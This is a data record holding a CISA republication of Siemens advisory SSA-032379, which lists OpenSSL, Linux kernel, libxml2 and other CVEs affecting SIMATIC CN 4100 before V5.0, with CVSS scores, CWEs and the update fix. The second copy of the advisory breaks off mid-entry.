versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-306 Missing Authentication for Critical Function\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.1\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-22925\n<div class=\"csaf-accordion-content\">\n\nThe affected application is susceptible to resource exhaustion when subjected to high volume of TCP SYN packets This could allow an attacker to render the service unavailable and cause denial-of-service conditions by overwhelming system resources.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-770 Allocation of Resources Without Limits or Throttling\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28387\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An uncommon configuration of clients performing DANE TLSA-based server authentication, when paired with uncommon server DANE TLSA records, may result in a use-after-free and/or double-free on the client side. Impact summary: A use after free can have a range of potential consequences such as the corruption of valid data, crashes or execution of arbitrary code. However, the issue only affects clients that make use of TLSA records with both the PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate usage. By far the most common deployment of DANE is in SMTP MTAs for which RFC7672 recommends that clients treat as 'unusable' any TLSA records that have the PKIX certificate usages. These SMTP (or other similar) clients are not vulnerable to this issue. Conversely, any clients that support only the PKIX usages, and ignore the DANE-TA(2) usage are also not vulnerable. The client would also need to be communicating with a server that publishes a TLSA RRset with both types of TLSA records. No FIPS modules are affected by this issue, the problem code is outside the FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28388\n<div class=\"csaf-accordion-content\">\n\nIssue summary: When a delta CRL that contains a Delta CRL Indicator extension is processed a NULL pointer dereference might happen if the required CRL Number extension is missing. Impact summary: A NULL pointer dereference can trigger a crash which leads to a Denial of Service for an application. When CRL processing and delta CRL processing is enabled during X.509 certificate verification, the delta CRL processing does not check whether the CRL Number extension is NULL before dereferencing it. When a malformed delta CRL file is being processed, this parameter can be NULL, causing a NULL pointer dereference. Exploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in the verification context, the certificate being verified to contain a freshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and an attacker to provide a malformed CRL to an application that processes it. The vulnerability is limited to Denial of Service and cannot be escalated to achieve code execution or memory disclosure. For that reason the issue was assessed as Low severity according to our Security Policy. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28389\n<div class=\"csaf-accordion-content\">\n\nIssue summary: During processing of a crafted CMS EnvelopedData message with KeyAgreeRecipientInfo a NULL pointer dereference can happen. Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service. When a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is processed, the optional parameters field of KeyEncryptionAlgorithmIdentifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing. Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28390\n<div class=\"csaf-accordion-content\">\n\nIssue summary: During processing of a crafted CMS EnvelopedData message with KeyTransportRecipientInfo a NULL pointer dereference can happen. Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service. When a CMS EnvelopedData message that uses KeyTransportRecipientInfo with RSA-OAEP encryption is processed, the optional parameters field of RSA-OAEP SourceFunc algorithm identifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing. Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-31789\n<div class=\"csaf-accordion-content\">\n\nIssue summary: Converting an excessively large OCTET STRING value to a hexadecimal string leads to a heap buffer overflow on 32 bit platforms. Impact summary: A heap buffer overflow may lead to a crash or possibly an attacker controlled code execution or other undefined behavior. If an attacker can supply a crafted X.509 certificate with an excessively large OCTET STRING value in extensions such as the Subject Key Identifier (SKID) or Authority Key Identifier (AKID) which are being converted to hex, the size of the buffer needed for the result is calculated as multiplication of the input length by 3. On 32 bit platforms, this multiplication may overflow resulting in the allocation of a smaller buffer and a heap buffer overflow. Applications and services that print or log contents of untrusted X.509 certificates are vulnerable to this issue. As the certificates would have to have sizes of over 1 Gigabyte, printing or logging such certificates is a fairly unlikely operation and only 32 bit platforms are affected, this issue was assigned Low severity. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-31790\n<div class=\"csaf-accordion-content\">\n\nIssue summary: Applications using RSASVE key encapsulation to establish a secret encryption key can send contents of an uninitialized memory buffer to a malicious peer. Impact summary: The uninitialized buffer might contain sensitive data from the previous execution of the application process which leads to sensitive data leakage to an attacker. RSA_public_encrypt() returns the number of bytes written on success and -1 on error. The affected code tests only whether the return value is non-zero. As a result, if RSA encryption fails, encapsulation can still return success to the caller, set the output lengths, and leave the caller to use the contents of the ciphertext buffer as if a valid KEM ciphertext had been produced. If applications use EVP_PKEY_encapsulate() with RSA/RSASVE on an attacker-supplied invalid RSA public key without first validating that key, then this may cause stale or uninitialized contents of the caller-provided ciphertext buffer to be disclosed to the attacker in place of the KEM ciphertext. As a workaround calling EVP_PKEY_public_check() or EVP_PKEY_public_check_quick() before EVP_PKEY_encapsulate() will mitigate the issue. The FIPS modules in 3.6, 3.5, 3.4, 3.3, 3.1 and 3.0 are affected by this issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-754 Improper Check for Unusual or Exceptional Conditions\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n</div>\n\n\n\nAcknowledgments\n\n\n\nSiemens ProductCERT reported these vulnerabilities to CISA.\n\n\n\n\nGeneral Recommendations\n\nAs a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity\n\n\n\nAdditional Resources\n\nFor further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories\n\n\n\nTerms of Use\n\nThe use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.\n\n\n\nLegal Notice and Terms of Use\n\nThis product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).\n\n\n\nRecommended Practices\n\nCISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.\n\nMinimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.\n\nLocate control system networks and remote devices behind firewalls and isolate them from business networks.\n\nWhen remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.\n\nCISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.\n\nCISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.\n\nCISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.\n\nOrganizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.\n\n\n\nAdvisory Conversion Disclaimer\n\nThis ICSA is a verbatim republication of Siemens ProductCERT SSA-032379 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided \"as-is\" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.\n\nRevision History\n\n\n\nInitial Release Date: 2026-05-12\n\n\n\n\n\nDate\nRevision\nSummary\n\n\n\n\n2026-05-12\n1\nPublication Date\n\n\n2026-05-14\n2\nInitial CISA Republication of Siemens ProductCERT SSA-032379 advisory\n\n\n\n\n\n\nLegal Notice and Terms of Use", "creation_timestamp": "2026-05-14T10:00:00.000000Z"}, {"uuid": "dae46325-2852-47a3-83db-43bfcb464ca7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21932", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-134-10", "content": "View CSAF\n\nSummary\n\nSIMATIC CN 4100 contains multiple vulnerabilities which could potentially lead to a compromise in availability, integrity and confidentiality. Siemens has released a new version for SIMATIC CN 4100 and recommends to update to the latest version.\n\nThe following versions of Siemens SIMATIC are affected:\n\n\n\nSIMATIC CN 4100 vers:intdot/<5.0 \n\n<div class=\"csaf-table\">\n\n\n\n\nCVSS\nVendor\nEquipment\nVulnerabilities\n\n\n\n\nv3 9.6\nSiemens\nSiemens SIMATIC\nNULL Pointer Dereference, Reachable Assertion, Use After Free, Out-of-bounds Write, Integer Overflow or Wraparound, Allocation of Resources Without Limits or Throttling, Out-of-bounds Read, Covert Timing Channel, Stack-based Buffer Overflow, Inefficient Algorithmic Complexity, Missing Release of Memory after Effective Lifetime, Improper Restriction of Operations within the Bounds of a Memory Buffer, Improper Input Validation, Improper Locking, Uncontrolled Recursion, Buffer Access with Incorrect Length Value, Race Condition within a Thread, Missing Synchronization, Use of Uninitialized Resource, Double Free, Missing Release of Resource after Effective Lifetime, Loop with Unreachable Exit Condition ('Infinite Loop'), Improper Update of Reference Count, Improper Control of a Resource Through its Lifetime, Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), Unexpected Status Code or Return Value, Divide By Zero, Improper Validation of Specified Index, Position, or Offset in Input, Comparison Using Wrong Factors, Observable Timing Discrepancy, Improper Validation of Syntactic Correctness of Input, Deadlock, Signal Handler Race Condition, Improper Following of Specification by Caller, Improper Check for Dropped Privileges, Transmission of Private Resources into a New Sphere ('Resource Leak'), Improper Resource Shutdown or Release, Improper Access Control, Exposure of Sensitive Information to an Unauthorized Actor, Relative Path Traversal, Improper Neutralization of Escape, Meta, or Control Sequences, Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade'), Uncontrolled Resource Consumption, Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Missing Authentication for Critical Function, Improper Check for Unusual or Exceptional Conditions\n\n\n\n</div>\n\nBackground\n\n\n\nCritical Infrastructure Sectors: Critical Manufacturing\n\nCountries/Areas Deployed: Worldwide\n\nCompany Headquarters Location: Germany\n\n\n\n\nVulnerabilities\n<div class=\"csaf-accordion\">\n\nExpand All +\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-47704\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Check link_res->hpo_dp_link_enc before using it [WHAT & HOW] Functions dp_enable_link_phy and dp_disable_link_phy can pass link_res without initializing hpo_dp_link_enc and it is necessary to check for null before dereferencing. This fixes 2 FORWARD_NULL issues reported by Coverity.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-57924\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs: relax assertions on failure to encode file handles Encoding file handles is usually performed by a filesystem >encode_fh() method that may fail for various reasons. The legacy users of exportfs_encode_fh(), namely, nfsd and name_to_handle_at(2) syscall are ready to cope with the possibility of failure to encode a file handle. There are a few other users of exportfs_encode_{fh,fid}() that currently have a WARN_ON() assertion when ->encode_fh() fails. Relax those assertions because they are wrong. The second linked bug report states commit 16aac5ad1fa9 (\"ovl: support encoding non-decodable file handles\") in v6.6 as the regressing commit, but this is not accurate. The aforementioned commit only increases the chances of the assertion and allows triggering the assertion with the reproducer using overlayfs, inotify and drop_caches. Triggering this assertion was always possible with other filesystems and other reasons of ->encode_fh() failures and more particularly, it was also possible with the exact same reproducer using overlayfs that is mounted with options index=on,nfs_export=on also on kernels < v6.6. Therefore, I am not listing the aforementioned commit as a Fixes commit. Backport hint: this patch will have a trivial conflict applying to v6.6.y, and other trivial conflicts applying to stable kernels < v6.6.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-617 Reachable Assertion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-58240\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tls: separate no-async decryption request handling from async If we're not doing async, the handling is much simpler. There's no reference counting, we just need to wait for the completion to wake us up and return its result. We should preferably also use a separate crypto_wait. I'm not seeing a UAF as I did in the past, I think aec7961916f3 (\"tls: fix race between async notify and socket close\") took care of it. This will make the next fix easier.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.3\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-6021\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in libxml2's xmlBuildQName function, where integer overflows in buffer size calculations can lead to a stack-based buffer overflow. This issue can result in memory corruption or a denial of service when processing crafted input.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-6052\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in how GLib\u2019s GString manages memory when adding data to strings. If a string is already very large, combining it with more input can cause a hidden overflow in the size calculation. This makes the system think it has enough memory when it doesn\u2019t. As a result, data may be written past the end of the allocated memory, leading to crashes or memory corruption.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-190 Integer Overflow or Wraparound\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n3.7\nLOW\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-7425\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in libxslt where the attribute type, atype, flags are modified in a way that corrupts internal memory management. When XSLT functions, such as the key() process, result in tree fragments, this corruption prevents the proper cleanup of ID attributes. As a result, the system may access freed memory, causing crashes or enabling attackers to trigger heap corruption.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-8916\n<div class=\"csaf-accordion-content\">\n\nAllocation of Resources Without Limits or Throttling vulnerability in Legion of the Bouncy Castle Inc. BC Java bcpkix on All (API modules), Legion of the Bouncy Castle Inc. BC Java bcprov on All (API modules), Legion of the Bouncy Castle Inc. BCPKIX FIPS bcpkix-fips on All (API modules) allows Excessive Allocation. This vulnerability is associated with program files https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertPathReviewer.Java, https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathReviewer.Java. This issue affects BC Java: from 1.44 through 1.78; BC Java: from 1.44 through 1.78; BCPKIX FIPS: from 1.0.0 through 1.0.7, from 2.0.0 through 2.0.7.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-770 Allocation of Resources Without Limits or Throttling\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9230\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write. Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code. Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9231\n<div class=\"csaf-accordion-content\">\n\nIssue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms. Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker.. While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack. OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-385 Covert Timing Channel\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector 